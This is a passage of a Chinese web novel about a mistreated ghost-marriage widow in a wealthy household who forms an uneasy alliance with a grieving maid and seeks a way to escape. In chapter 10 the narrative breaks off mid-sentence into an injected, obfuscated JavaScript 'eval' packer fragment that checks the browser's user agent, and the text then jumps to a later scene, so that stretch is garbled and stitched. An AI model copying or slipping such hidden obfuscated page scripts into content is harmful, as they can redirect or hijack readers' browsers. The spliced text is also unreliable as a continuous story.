彩玉出言嘲讽:“看你一副天真软弱的样子,倒玩得好一出祸水东引。很长一段时间内,夫人的心神都放在对付外室上,顾不及你了。” “我无意害人,我说过了,我做的一切都是为了自保。” 夏知霜轻叹,将真心话和盘托出。 “外室本就是她的心腹大患,不管有没有我今日添的这把火,她早晚都会出手对付。那外室能荣宠那么久,还敢派人进府挑衅,定当手段了得,自有一套应对她的办法。我不过是夹在他们中间的可怜虫,但求一夕安寝,夹缝生存罢了。” 彩玉没料想她看得那么透彻,沉默了。 其实偌大的陈府,除了两个手握生杀大权的主子,谁又不是在夹缝求生呢。 彩玉摇头叹息,不欲深言,轻声说:“快过来抄经吧,后日就要送到白云庙去烧,今晚得补齐昨夜的份。” 她语气软化,夏知霜微微舒气,危机解除了,少一个敌人总是值得高兴的。 她依言坐过去抄经。 这夜,夏知霜抄到很晚很晚,彩玉罕见的没催促,她托腮望着烛芯,不知想什么入了神。 第二日,陈母言出必行,对夏知霜做了别的安排。 8. 第 8 章 “如,漆,院。”夏知霜站在气派的院门下,仰望匾额轻声慢念。 陈母叫她迁入此院,无事不得外出。 彩玉随同,她跟着抬头,眼神复杂:“这是少爷自幼生活的地方,自他故去,老爷和夫人怕睹物思人伤怀过度,便不再踏足,此地封存至今,一石一木皆与从前无二。” 原来如此,夏知霜明白了老妖婆把她软禁在此的用意。 陈父对独子的逝去万分痛惜,只要他还残余一丝对儿子的缅怀,料他再觊觎她的美色也不敢硬闯到儿子生前的居所,在处处是儿子痕迹的地方儿子强淫儿媳。 当然,以防万一,陈母在如漆院外围加紧人手看守,如漆院现今固若金汤,没有她的命令,里面的人插翅难飞,外面的人削尖脑袋也进不去。 换言之,是个大牢笼里的小牢笼。 “少夫人,请吧。”守门的赵婆子冷声催道。 夏知霜回望了眼来路,想着不知什么时候能再出来,耷拉着脑袋,提上装有换洗衣服的包裹进门。 时隔半年,如漆院杂草丛生,到处积下厚灰,随处可见大量的蛛丝。 陈母事先有言,要她以最快的时间恢复院落上下的整洁,且不许她擅改摆设,连桌椅都不准挪动。 夏知霜数月来做了太多打扫的活计,这难不倒她,就是累人了点。 不管怎么样,现在的处境比之前好了一点点,起码不必再干最费力的挑水、洗衣服和涮恭桶,也不用太担心老色胚突袭。 夏知霜心情明朗,勤快地扫地、打蛛网。 令人意外的是,被派来监工的彩玉一改嗑瓜子看戏的态度,居然帮忙干活了,干得还十分卖力,差点惊掉她的下巴。 “别误会了,我不是在可怜你,”彩玉扭头不看她,自顾自擦窗,“我只是不忍心少爷住过的地方荒芜至此。” “是是是。”夏知霜敷衍两声。 管她什么理由呢,有人帮忙减少工作量就是好事一桩。 晚间,两人勉强把东西厢房打扫出能住人的样子,反正这里没什么人进来管束,夏知霜就挑好地方住。 彩玉没有阻止,反而教她挑两边厢房中条件最好的那几间。 她们选的房间很宽,设有前后的两扇窗采光,摆设的配置按照次卧的规格,跟她原先住的没有窗户的下人房简直是天壤之别。 彩玉还是住她右边的邻屋,只不过没了柳绿在一旁监视,自由度大大提高。 夏知霜试探道:“要是被别人发现我没有去住下人房,岂非于你不利?” 彩玉淡笑:“无碍,我选的这间是我以前的卧房,你离我近些,我才好上报你的一举一动。” 她住回原来的房间无可厚非,那么夏知霜被发现同住厢房也不会有人饶舌,纵是赵婆子告到陈母处,陈母只会以为是彩玉的主意。 现在彩玉还有用,陈母不至于为了区区一间房就跟彩玉发火。 夏知霜还想到了别的事。 彩玉一介丫鬟,还没有获得名分就能住进东厢最好的房间,其在陈少爷心目中的份量可见一斑。 陈母安排彩玉来监视她,想必是利用了妻妾间的不睦来治她。 同是卑贱出身,一个尽心尽力服侍少爷十数年,只等正妻进门就抬位分,然而天有不测风云。一个则是什么功劳都没有就被聘为正妻,终身压在她头上,怎么想另一个都会嫉妒一二。 把她俩凑在一块,陈母就不必担心彩玉监管夏知霜时会生出同情心,对她网开一面,而是会想方设法给她使绊子。 这就是为何她走到哪,彩玉跟到哪的真正原因,陈母根本没考虑过换另一个人选看管她。 这一手玩得确实精妙,奈何彩玉和夏知霜现在关系微妙,临时组成了同盟…… 或许还算不上盟友? 夏知霜说出了心中的想法。 “我与你只是各取所需罢了,”彩玉不承认同盟关系,冷冷解释,“倘若少爷还活着,我可能就像夫人算计的一般嫉妒你,始终同你敌对。” 可是横隔在她们中间的那个人已经亡故,名分业已无关紧要,争来争去有什么用呢,死人又不可能再活过来。 彩玉情绪蓦然低落,背过身去掩饰眼角的湿润,淡道:“我乏了,去睡了。” 说罢,她气呼呼走人。 夏知霜反应过来自己无意中戳到了她的伤心事,歉意的目光送她离去。 接下来的很多天,二人合力清理出整个院落,寻思着住处弄好点住得更舒心,便利用余下的时间做更精细的活。 彩玉教她古董字画怎么保养,花草树木怎样修剪,一来二去,竟将院里的景致恢复了七七八八。 陈母病愈后就跟外头的狐狸精打擂,估摸着如漆院收拾得差不多了,马上遣人送一堆物件进去。 本以为能好好休息一下的夏知霜看着一箱箱东西抬进来,什么布匹绣样,什么炊具食材,什么纸墨佛经…… 就知道老妖婆看不得她闲下来! 夏知霜认命叹气。 罢罢罢,只不过是回归到最初的待遇,好歹后面附加的众多苦力活不用再干。 如此这般,夏知霜卯时爬起来给老妖婆做早饭,做完交给赵婆子送去正院,之后上午做扫除,下午做绣活,晚上抄经,外兼园丁的职。 彩玉只肯帮她分担打扫花园和陈少爷书房的部分,理由是,那里有她和少爷的很多美好回忆。 其它杂活照旧归夏知霜管,即便如此,她也省了很多事。 夏知霜每天能挤出一点时间,然后用来泡在亡夫的书房里。 嫁入陈府九个月,她才从手札中得知亡夫名为陈鸿彦。 陈鸿彦的书房收录了很多书,十个书架摆得满满当当,多是四书五经及六艺相关的书籍,也有一部分杂书,包括绘有奇珍异草的图册,记载奇闻异事的高士游记等。 夏知霜对厚厚的几大摞史书最感兴趣,只要得闲就会泡在书房中,由此充填了不少匮乏的知识。 这个国家前头的历史是她熟识的,夏商周秦汉唐,五代十国后却不是她记忆中的赵宋,而是成朝。 成朝重新统一中华民族,并开疆拓土,绵延四百年,成灭启始。 启朝开国堪堪三十余年,历经三世。 开国太祖微生康登位三年崩逝,太子微生释继承大统,年号承元,次年病逝,其弟微生玟即位,是为当今皇帝,年号祎坤。 祎坤帝登位的前三年尚可算明君,第四年起沉迷享乐,任用宦官,宠信奸臣,终日不理朝政,上至忠臣良将缕遭戕害,下至黎民百姓繁刑重赋,朝野怨声载道。 祎坤九年,各地揭竿起义,经过十年战乱,大成的疆土四分五裂,碎成了许多块。 朝廷内斗严重,无力抽身应对众多割据一方的诸侯,天下局势暂定。 当前是祎坤二十九年,即各方诸侯立稳脚跟的十年后。 夏知霜翻阅陈鸿彦的手札,得知了此间区域更详细的信息。 她脚踏的这片土地由观江和淇江穿行,两江养育了九郡一百 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不知是否流言之故,刘氏一族与平王府冷过相当长的一段时间,观东与淇南情势紧张。后来又不知何故,双方摒弃前嫌,现今观淇九地和乐融融。 夏知霜翻箱倒柜,终于找到了启国的地图。 图纸很大,展开来快铺满书房的空地,而启朝没被掰碎前的疆域也大得出奇,比她前世见识过的历朝历代的国土都要辽阔,粗略估计大了至少三分之一。 她找了好久才找到观淇在哪,分辨半天,判断出这里很有可能位于东南亚。 地名不同,地图疆域亦不同,以上仅仅是她的猜测。 不过这里的文字、饮食和衣饰都跟她在博物馆看过的差不多,交流也不成问题,所见之人皆是汉人相,这里实是汉土无疑。 可能是穿到平时世界的古代了。 夏知霜缓缓坐到地上,心中止不住的悲凉。 如果穿到熟知的朝代,还能从学过的重要历史节点趋吉避凶,而今却两眼抓瞎,所学知识全派不上用场。 加上现在不容乐观的处境,说是地狱开局也不为过。 算了。 事到如今,继续纠结前世后世已无意义。 夏知霜收好地图,放回画筐时,寻到了另一张同样没裱的画,在一众裱好的画轴中很突兀。 她好奇打开来看,上面是位年轻男子的画像,他在桃花树下执扇微笑,好个风流倜傥的少年公子。 从旁边的题字去解,画上的人正是书房的主人陈鸿彦,三年前春天他伴友出游,此画出自友人之手。 夏知霜只看了一眼就放回去了,心中有股奇妙的感觉。 虽然她嫁入陈家是板上钉钉的事实,所有人都承认了这段婚姻,可她始终不知男方的姓名和长相,一点身为人妇的实感都没有。 适才得知了男方的名字和相貌,这桩奇怪的婚事莫名就落到了实处。 她有点不舒服,不愿再待下去。 后来很长一段时间,夏知霜锐减出入书房的次数,改为借书出来阅览。 陈母和外室打得火热,一时半会腾不出手磋磨她,看门的赵婆子嫌如漆院晦气,不大爱往里进,加上彩玉对她爱搭不理,她度过了进府以来最安宁的时光。 天气渐冷,转眼到隆冬。 因着陈鸿彦的忌日,陈家安排了盛大法事。 夏知霜身为遗孀须得出席,然后遇见了故人。 9. 第 9 章 一年过去,小道士还认得她,他在云鹤真人的徒弟队伍中,发现她身影时目光陡然晶亮,很高兴她还好好活着。 夏知霜规规矩矩站在陈氏夫妻身后,对他几不可见地摇摇头,目露哀苦之色。 小道士微愣,虽觉不解,仍是收敛了外放的喜色。 那头,双方寒暄完毕,正事亦聊得差不多。 陈父拱手道:“犬子的福运,就仰赖真人了。” 云鹤真人回曰:“公子阳福未尽,理当转为阴福,贫道只是应运而行。” “我就知道彦儿是个有福的孩子,”陈母举袖抹泪,“望真人替我儿多多积累阴德,来世好投个好人家。” “自然,自然。”云鹤真人缓缓点头,向众弟子甩了一记拂尘。 众道士动起来,仪式正式开始,夏知霜默默出列。 这场法事有些环节需至亲协助,陈鸿彦名义上的亲人只她和陈氏夫妻三人,白发人不能送黑发人,就由作为妻室的夏知霜参与。 昨日陈母宣她去了正院,柳绿详述了这七星聚福阵的流程,徐奶娘恐吓她,若是搞砸此事就杀了她,夏知霜不敢有半点疏忽。 彩玉端道具过来,神情有点落寞。 明明她才是少爷最亲近的人,却只配打杂——夏知霜一眼就能看穿她想什么,尽量用眼神表达无辜。 少女你清醒一点,千万别钻牛角尖,这种破事有啥好的,她一点都不爱干啊! 奈何彩玉没看她,送完东西就黯然退下,遗憾于最后都不能光明正大的送少爷一程。 夏知霜无法,手提贴有黄符的灯笼,站到云鹤真人示意她待的方位。 随后就是她看不懂的一堆流程,光杵着约有半个时辰,云鹤真人叫她提灯绕着几个蜡烛矩阵转圈,让洒米的时候洒米,让烧香就烧香,叫站定念几句话教过的话就念。 九圈后,云鹤真人指示她立定。 夏知霜耍了个心眼,面朝小道士,背对所有人。 借着钹鼓声起,她神情凄楚,低低控诉:“陈家虐打,我屡遭蹂躏,生不如死。”乐器声止,她闭口不言。 小道士蓦然瞪大双目。 钹声尖锐霸道,她的话小道士只能听清一半,但这已足够令他震惊。 鼓点复响,夏知霜含泪祈求:“求道长帮帮我,叫我婆婆出门时携我即可,少在家中挨打一日半日,我才得以喘息苟活。” 她作势手累,稍微抬高了下灯笼,广袖随之下滑,露出旧伤叠加新伤的腕口。 新伤是昨日陈母找由头让徐奶娘打的,结痂的地方瞧着触目惊心。 小道士一下子坐直,清澈透亮的眼眸带着困惑、怜惜和不可置信。 其实只看她面黄肌瘦的模样,即知她在陈家过得水深火热。 乐器尚响,云鹤真人诵完一段经,甩动拂尘,一部分道士移形换位。 仪式进入下一个阶段。 夏知霜把灯交给一个道士放置在道场中央,又被另一个道士领着走位,烧了几支香烛和线香,末了拜了拜,她能做的事就算完了。 离开道场,柳绿过来站到她身旁,“陪同”她观看至仪式到结尾。 法事结束,陈家例行招待扶微观的道长们。 夏知霜不被允许参加宴席,彩玉在前头带路引她回如漆院。 这是她初次到前院来,不免东张西望,暗暗记下路线怎么走,以备日后用得上。 走着走着,她发现这不是来时的路。 彩玉好像背后长了眼睛,不等她问就及时解惑:“来时随老爷和夫人走正路,回时只你我,当行小道。” 大户人家规矩多,特别是像陈家这种富甲一方,花巨资捐了个员外郎镀金,想要摆脱暴发户名头的人家,府中规矩对标的是簪缨世族,家规不是一般的严,有的路只能主子走,下人有下人通行的小径。 夏知霜习惯了下人的待遇,此时也只能暗骂一句封建遗毒,乖乖跟着彩玉绕远路。 到大厨房附近,见有人忙着把搅和好的食物放进角落。 “这是在做什么?”夏知霜问。 彩玉瞥一眼,语气淡淡:“毒老鼠,每月十五未时五刻放药毒一回,免得膳房鼠灾为患。” 夏知霜转了转眼珠,心神一动。 途径搅食物的地点,她趁其他人不注意,将剩半包的老鼠药取走拢进袖袋,整个过程行云流水,脚下一刻未停。 待那二人放完混好药的食物,回头收东西时愣了愣,一人问:“你后头搅第二回的时候,是不是把半包全洒了?” 最后经手老鼠药的家丁冷汗就下来了。 可能是刚才忙时不知随手放哪了,也可能是动物叼走了,以前就发生过飞鸟走兽叼走药包的事。 关键是陈府进出一律不准带毒,这老鼠药全是有数的,少个一份半份若是交代不清楚,免不了吃一顿板子,搞不好性命不保。 唉,鸟兽偏偏挑在没人看到的时候叼走,同伴没亲眼目睹,多半不肯为他做保。 在撒谎保命和如实说药包不知去向被打个半死的抉择中,家丁选择了后者,一贯钱的月酬,拼什么命啊。 那人一脸苦涩:“可不是!我方才手抖,不小心全洒了。” 同伴皱眉,严厉说教一顿。 夏知霜回到如漆院,总觉得惴惴不安,时刻担心被人发现顺了毒药回来,急需隐蔽的地方□□药。 趁着打扫的时候,她把如漆院上下里外都仔细摸底一遍,打定主意把药包放进陈鸿彦卧房的床底下。 那间卧室名义上是属于她和陈鸿彦的“新房”,目今,只有她会进出那里。 钻床底下藏药的时候,夏知霜在雕花床的床板背面意外发现了一个卡槽。 她想起了刘宁交代过她打开竹屋机关的话语:机关在床板的背面,按下卡槽便能打开夹层入口。 该不会陈鸿彦也在床底搞了个机关?天底下竟有这么巧合之事? 夏知霜狐疑按下,“咔哒”的声响,地板移开一小块方格。 她靠近查看,赫然发现夹层中是陈鸿彦的私人小金库,积攒了好多金银财宝和一封信。 信封写着“绝笔书”,尚未封口。 夏知霜几经犹豫,决定打开看个究竟。 信纸共两张,时间有限,她一目十行,粗略翻阅。 陈鸿彦在信的开头由衷感谢了父母的养育之恩,理解父母望子成龙的殷切,再痛陈自己不是读书的那块料,纵然听父母的话头悬梁、锥刺股的努力苦读十六年,他的学问在同窗中依然垫底。 他自认尽力了,读书读得那么痛苦,将来又不能有所作为,不如早点放弃,去做自己感兴趣的事。 他知道父母会像以前一样驳回他辍学经商的请求,绝不会同意他到外面去闯荡一番,所以他打算带上心爱之人不辞而别,去观淇之外的地方闯出名堂后再荣归故里。 “我会好好照顾自己和彩玉,请父亲母亲原谅我这个不孝的儿子,鸿彦敬上。”信中言辞恳切,夏知霜不知不觉念出声。 信封内有异物感,她倒出来看,是一块玉佩,穗子的平安结很眼熟。 像是出自彩玉之手。 夏知霜想了想,把药包放进方格内,将一切复原,速速离开。 夜深人静的时候,她有点小激动,为能拿捏陈氏夫妇的性命而兴奋得睡不着。 不过她思来想去,认为不到万不得已不能给陈氏夫妻下药。 闹出人命的话,她是头一个嫌疑人,哪怕洗脱嫌疑,她的户籍落在陈家,一时半会也走不脱,是下下之策。 还是得想想别的办法。 夏知霜一夜无眠,有了点思路,次日找彩玉摊牌:“我需要你帮我个小忙。” “我什么都不能帮你,也不想帮你。” 彩玉对桌上的几大锭银子不屑一顾,虽奇怪她怎么弄来那么多银子,可面上不动声色,冷嘲热讽。 “小心有命挣没命花,我可不想步桃红的后尘。当初她何等威风,徐奶娘和柳绿都得往后稍稍,现在……呵。” 说起来,夏知霜确实没再看到桃红,顺着问下去:“她现在怎么样了?” 彩玉一面唏嘘人生的起落,一面乐见昔日有龃龉之人境遇不佳,表情透着快意:“在马厩做杂活,食马粮,睡马槽,生不如死。” 夏知霜怔忪不言。 桃红的下场八成和当日配阴婚仪式失败有关,可是她不后悔逃婚,她不想死,重来一次她还会逃。 错的不是她逃婚的行为,而是这个把封建糟粕当金科玉律的世界。 她若不抗争,头一个死的就是她自个。 思及此,夏知霜硬起心肠,亮出那块白玉:“既然你不愿意,那我就砸碎了它。” 彩玉看清玉佩的样式和流苏,霍然色变:“给我!”说着扑过去抢夺。 赌对了,它果然是陈鸿彦和彩玉的定情信物。 夏知霜早有防备,先一步收回玉佩,悠然回视她的怒瞪。 彩玉冷静下来,心平气和的打商量:“你要我帮你做什么?” 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“老爷整天在外面寻花问柳,夫人就把所有心神灌输到少爷身上,盼望少爷出人头地,早日光耀陈家的门楣,对他极尽严苛,少爷不堪重负,早有离家之意。” “那段时间,她明知少爷病了,仍不肯放他静养,还怀疑少爷诈病逃学,勒令他天天准时去学堂。天寒地冻的,一个病人怎么能撑得住来回奔波呢?” “他倒在了路上,学童回来报信,我们赶去时,他的身体都凉透了。我握着他的手,比地上的雪还要冰,还要冷。” “要不是腹中怀着骨肉,我只怕熬不过那个冬天。没想到开春的时候,孩子也没了,大夫说我是伤神过度又跪久了才没能保住……那一天,我的心也跟着死了。” 夏知霜轻声问:“是她要你跪的?” 彩玉流着泪点头,讽刺一笑:“她不知打哪听来,要少爷的近身之人跪着念经、烧经七七四十九日,少爷在底下才好入轮回。她说她问过大夫了,孕妇每日跪个把时辰不碍事。” 殊不知,每个人的体质不能一概而论。 夏知霜不知说什么好,换做别家的失独人士,看在未出世的孙辈的份上,绝对会把彩玉供起来,可陈母偏听偏信,以致绝后。 老妖婆的脑回路不是一般人能理解的。 她同情彩玉的遭遇,奈何她自己的处境也不妙,没有因一时心软而提前把定情玉佩交出去。 夏知霜摩挲玉佩的纹路,理性分析:“你恨她,所以十五那天故意带我走大厨房那条路,引导我偷老鼠药回来,想利用我除掉老匹夫和老妖婆?” 彩玉见怀柔策略不见效,瞬时收起眼泪,默认了。 少爷和孩子刚去那段时间,她是想过要跟陈家人同归于尽,可是冷静下来后,她觉得死也需要莫大的勇气。 她想活下去,她人生的路还有很长。 那么只好借别人的手去报仇了。 只是没成想,拿捏少夫人不成,倒反过来被要挟。 彩玉惨笑:“你技高一筹,我输了。” 玉佩是她和少爷两情相悦的证明,她不愿意连证物都离她而去。 夏知霜摇头:“你错了,敌人尚在,我们胜负未分。” 彩玉怔然,缓缓抬头,首次认真端量她。 “嗯?”夏知霜朝她伸出手掌。 她叹了口气,别扭地击掌为盟。 次晨,彩玉告病出府,柳绿派了两个小丫鬟到如漆院代为监视。 仅过一天,彩玉回府。 等那两个丫鬟离开,四下无人时,夏知霜悄声问:“如何?” 彩玉摇头。 她怕丛家警觉,借机到陈府来闹事,故而没自己出面,花钱雇人前去打探。 丛家人表示嫁出去的女儿泼出去的水,并当着她派去之人的面儿熏艾、煮柚子叶、跨火盆,嫌弃嫁给死人的大女儿晦气。 夏知霜早已预料到结果,闻言没多失望,只是没想到丛家人做得那么绝。 她把玉佩还给彩玉,打算从长计议。 做法事那天,小道士明显被打动了,得想办法再见他一面,说服他让陈母带她出门才行。 只有多出门,才有机会逃出壁垒森严的囚笼。 幸运的是,两天后正院派人来传消息,要她收拾行囊,下月初一随陈母去参加香会。 夏知霜和彩玉对视一眼,真是瞌睡来了枕头。 10. 第 10 章 临出发前,彩玉利用人脉打听清楚了,原来是陈父突感身子不适,近期回府养病,陈母赶香期的趟前往扶微观为他祈福。 扶微观位于阑州的苍翎山,路途遥远,须夜宿山上的客房,此次出行共计两天一夜。 外出那么久,陈母不放心家里,定要带上夏知霜同行,以免她不在期间陈父霸王硬上弓而闹出丑事来。 初一当日,夏知霜再次穿上了新的衣服、簪了新钗。 她相貌出众,尽管装扮素净,仍是如花似玉,眼角眉梢流露动人的柔媚,引人频频回顾。 陈母蹙眉:“下去换一身。” 夏知霜依言换了另一套,结果陈母还是不满。 换到第三身,布料和样式逐步降级,她照样鲜艳妍丽。 再换下去衣饰连丫鬟都不如了,扶微观的人知晓她身份,带出去到底有损体面,陈母只得点头。 旁观的徐奶娘不得不承认,有些人骨子里透着天生的媚相,稍微捯饬便是人间尤物,无论如何都扼杀不了上天恩赐的天生丽质。 一行人整装待发。 彩玉领夏知霜走偏门,那里早有一辆马车等候。 夏知霜第一想法居然是:太好了,不用像其他仆役一样跟车步行。 而后反应过来,他们路上会碰见很多人,老妖婆还是好面子的,安肯把虐待儿媳摆到明面上给别人增加谈资。 她和彩玉同坐车厢,车夫快马加鞭,赶上去跟正门出发的车队汇合,陈母走的是大门,她们是从下人走的偏门离开。 之后枯坐大半天,掀窗帘看风景都不能,柳绿警告过她那种行为很“不庄重”,出门在外绝不能丢了陈府的脸面。 傍晚抵达苍翎山,云鹤真人的大弟子玄厚下山迎接,陈母与之寒暄。 夏知霜默默跟着、看着,柳绿盯着她,她做小伏低状,一个字都不敢多说。 宫观设在山顶,一万多级台阶,陈府女眷爬到五分之一就气喘吁吁。 路上碰巧遇到了同样参加香会的其他队伍,衣着看起来非富即贵。 双方少不了问候寒暄的环节。 夏知霜站在陈母身后装乖巧,尽量减少存在感,陈母也不太愿意跟人介绍她。 但既是相熟人家,对方怎会不清楚陈家有几口人,何况她美貌惊人,又岂会忽视她的存在,自当会主动询问一二。 陈母笑容淡极,不情不愿地介绍说是儿媳,谎称是儿子病重时娶来冲喜的,那会儿时间紧迫,没大摆宴席请诸位喝喜酒,对不住了云云。 对方自然表示不介意,使劲夸夏知霜漂亮,旋即打听是哪家的姑娘,芳龄几何,有无过人才艺之类的。 夏知霜出身不好,只这一点,论她再多才多艺都不够看。 陈母被问得面上无光,气那人没事找事,谁家紧急冲喜娶的媳妇还要求面面俱到?当然是八字越合越好,出身都是其次,对方明知如此还哪壶不开提哪壶,简直是找茬。 心中气海滔天,面上还要笑呵呵。 陈母为了挽回薄面,亲切挽过夏知霜,嘴硬夸儿媳多么贤惠,多么孝顺,大早上起来给公婆煮朝食,天天主动帮公婆洗衣服什么的,一个劲夸到底。 夏知霜在她挽过来时吓得一咯噔,鸡皮疙瘩冒起来,脸上的假笑差点没绷住。 任谁看她们都是亲如母女的一对婆媳。 那人自讨没趣,讪笑附和几句便作罢。 送别这家夫人,没多久又碰上别家歇脚的夫人,又是一套寒暄流程走下来。 夏知霜忐忑陪笑,好在她不需要说话,一直做个笑眯眯的挂件就行。 几趟偶遇下来,想必关于她的八卦今天起就满天飞了。 最后,陈母不堪其扰,也是真的走累了,叫了肩舆抬她上山。 当着玄厚的面,夏知霜也蹭了一顶肩舆。 到达山顶后天色已然黑透。 用过斋饭,陈母被别家夫人邀请去找云鹤真人论经,其他人则回客房歇息。 夏知霜和陈母是独宿,彩玉和柳绿这两个一等丫鬟合住,其余的五六人挤一间。 门外有粗使婆子轮流守夜,夏知霜根本没有机会出去打探小道士的消息。 不过她这一夜没有惊醒,久违的睡了一个踏实觉。 翌日天未亮,客房就动起来了。 陈母一大早带人去占位置,誓要抢到头香。 前头熙熙攘攘,动静不免传到后院的客房。 夏知霜被安排留在房间内,少时,彩玉过来上岗。 婆子殷勤打招呼:“彩玉姑娘,前边那么热闹,您怎么不去晃一圈再过来。” “也就那么回事,”彩玉一派无所谓,“你要是想去看就去吧,这里我守着就行。” 钱婆子有些意动,彩玉随侍少爷时什么没见过,她就不一样了,跟主子出门的次数屈指可数,更别提是香期盛会了。 “这……不好吧?要是被发现擅离职守,柳绿姑娘不得扒了我这张老脸。”婆子假意推却。 彩玉打包票:“这里能有什么事?再说外头人那么多,没人会注意多不多你一个,快去吧。” “嗳!”钱婆子兴高采烈转身。 脚步声远去,隔了一会儿,彩玉敲门:“出来吧。” 夏知霜打开一条门缝观察,见外面果真没别人才大胆开门。 彩玉跟她一进一出,她朝彩玉点点头,疾步离开。 道观的人手几乎被抽调去忙香会的事了,幸好后院留了几个人听候贵客差遣。 夏知霜找到一个穿行的道士,忙跟他打听那个小道士的事,因着不知道小道士的名号,只记得他眉上有颗痣。 那人恍然笑答:“原来信士要找玄灵师兄,师兄前儿个被师伯罚去思过室抄写经文了。” 有些香客就爱找相熟的道士指点迷津,换个人还不乐意,他们见怪不怪了。 那人热心的给她指路,夏知霜连连道谢。 她顺着指引找过去,还没到思过室就遇见了洒水扫地的小道士。 “玄灵道长!”夏知霜惊喜呼唤。 玄灵看到她很是讶然:“香会在宝光殿举行,信士缘何到此?” 他想到了什么,紧接着就是道歉:“上回应信士所托,贫道去求了师父,但师父说命数天定,不可再乱结因果……贫道有心无力,实在无颜见你。” 这是明显的婉拒之词。 夏知霜心中凉了半截,恳切地说:“命数确是天定,道长上回救了我正是应天而行,要论因果,你早就与我结下了不是吗?否则我怎会冥冥之中到扶微观来,又怎会得缘见你?” “这……”玄灵笨嘴拙舌,说不过她。 她美眸泛泪,楚楚可怜哀求:“我此番是机缘巧合才能跟婆婆出门,往后定再无这个机会了。实不相瞒,囚于陈府一年半以来,我昨夜在贵观才初次吃饱饭,也是第一个全天不用挨打。” 玄灵惊愕不已,当初明明告知陈府的人务必好好待她,没想到她竟连饭都不能吃饱? 夏知霜卷起袖子,让他确认更多伤痕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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车夫应了声,鞭马提速。 计划赶不上变化,途径靖隅城,忽遇一队戎装之人勒令车马行人回避。 百姓纷纷避开,陈家的车队贴墙静候,空出了中间的过道。 不多时,马蹄声疾驰而来,夏知霜从微风吹起的窗帘一角看去,只见威风凛凛的铁骑若无旁人的穿街而去,有的百姓爆发出阵阵欢呼。 夏知霜看向彩玉:“怎么回事?” 彩玉道:“乌衣甲,总督府的精兵。传闻刘老总督遭遇部下联合叛变,叛军对刘氏一族围追截杀,全族三百余口只活了个嫡系的四公子。” 观东四郡有三郡联合叛变,刘四公子只得逃往边关,集结忠于刘氏的将领,带兵攻打叛军。 刘四公子继承其父遗志,在部众的拥护下出任观东新总督,从梓渊关起兵,势如破竹,一年多来先后收复墨同郡和台开郡,合计四十六州。 阑州属于叛变的丰瑛郡,目下乌衣甲进兵靖隅城,昭示着丰瑛郡已被新总督拿下大半,剩余的零星几个州的叛军不过负隅顽抗,刘氏完全收复观淇四郡只是时间问题。 百姓习惯了刘氏的仁政治理,自然不乐见政权变动,因此靖隅城的百姓对乌衣甲夹道欢迎。 夏知霜心中一动,新总督姓刘,又曾被围剿,莫非是刘宁? 11. 第 11 章 夏知霜刹那间理智全失,不管不顾地掀开帘子,探头出窗找寻。 队伍太长了,她只看到一片金戈铁马,而且军队头部的官兵驰骋过去已久,根本就无从找起。 倘若那人真是刘宁,他们擦肩而过了。 夏知霜失落不已。 她想找彩玉打听,可她适才猛然张望的举动已经很可疑,突兀探究一个有名有姓的男子恐惹对方猜忌。 说到底,她和彩玉只是临时盟友,不能全然信任对方。 她主要目的是脱离陈家,而彩玉是取陈氏夫妇的性命,目标并不完全一致,同盟关系随时会崩断瓦解,她不敢大刺刺报出刘宁的姓名。 万一彩玉善变,在陈母面前反咬一口,诬陷她和男子有私情,或是构陷她以寡妇之身怀春,报她用陈鸿彦的玉佩要挟她之仇的话,以陈母听风就是雨的性子,焉会轻易放过她。 好不容易换来平等合作的机会,夏知霜可不想有把柄捏在对方手上。 她在陈家学会的第一个自保技能就是谨慎。 夏知霜平心静气,靠回车厢内,先表达头回目睹大军夺城的壮观场面,再围绕刘家军进城之事闲扯几句,最后状似不经意地问新总督的名字。 “丛贞”原是偏远乡下的贫家女,大字不识,俗事不通,不知高门常识也说得过去。 彩玉果然没发觉她拐着弯在试探,随口答:“现任总督为刘季安。” 不是刘宁…… 也对,刘是大姓,在世族和百姓中不算少见,不是随便一户刘姓就跟刘宁有干系。 她不久前也跟玄灵小师傅打听过刘宁,可惜玄灵是出世之人,只认得几个常来的香客,对俗世的人和事知之甚少。 罢了,没有消息可能就是最好的消息。 夏知霜收回心神,没再关注外面的纷纷扰扰,转而思虑下一步该怎么走。 马蹄在石板路上疾驰,繁密又井然有序。 乌衣甲一部分进城清理叛军残党,一部队留在城外安营扎寨,靖隅城内外戒严。 半个时辰后,县衙接管全城的秩序,滞留于街市的百姓纷纷涌回坊巷。 眼看不能如期出城,陈家女眷前往靖隅城的产业歇脚。 不久,城中张榜告示,同时派人敲锣传话:至次晨,家家户户须门窗紧闭,以防叛军余孽逃窜躲藏误伤无辜百姓。 一时间,城内居民人心惶惶,早早锁门封窗。 陈家经营的客栈以最快的速度歇业,夏知霜在二楼的普通客房暂住,听着时远时近的厮杀声响了大半宿。 彩玉跟她同住一间,亦是久久不能眠,幽幽道:“据说四公子精通棋画音律,是位善人义士,没想到狠起来跟隔壁淇南杀人如麻的小平王也不遑多让。” 夏知霜感同身受:“当人被逼到绝境,脱胎换骨也不足为奇。” 就算她不想承认,困在陈家的一年半载中,她被驯化得心性骤变是不争的事实。 彩玉联想到自己也是如此,在小榻上翻了个身,没再言语。 第二天一早,禁令解除,靖隅城恢复了安宁。 昨夜闹出过动静的街巷被冲刷得干干净净,半点看不出血战过的痕迹,只空气中遗留浅淡的血腥味。 观东四郡守启朝律法,城门辰时开、酉时闭,陈母不放心独留家中的丈夫,赶在最早的批次离城。 回到青阳城,看见身穿乌衣甲的士兵在跟城门校尉对答,他们方知昨天有另一支乌衣甲收复了整个幽州。 幽州的老百姓同样很淡定,人人各行其是,街市喧嚣如初。 陈府一切如旧,夏知霜回归连轴转的日常。 众多名医的联合治疗下,陈父的病稍有起色,但始终不见大好。 陈母忧心忡忡,一边照顾丈夫,一边接管生意上的事务,还要分出精力对付以探病为名义,实则想借机进府做实妾室名分的外室,日渐忽略了对夏知霜的凌虐。 主子的态度就是下人的风向标。 赵婆子宽松了如漆院的看管,对彩玉来回进出院子都是睁一只眼闭一只眼,没再特意把这种小事汇报给陈母,免得被心烦意乱的陈母怒骂泄火。 夏知霜见时机成熟,从亡夫卧房的暗格内搬出三分之一的金银珠宝。 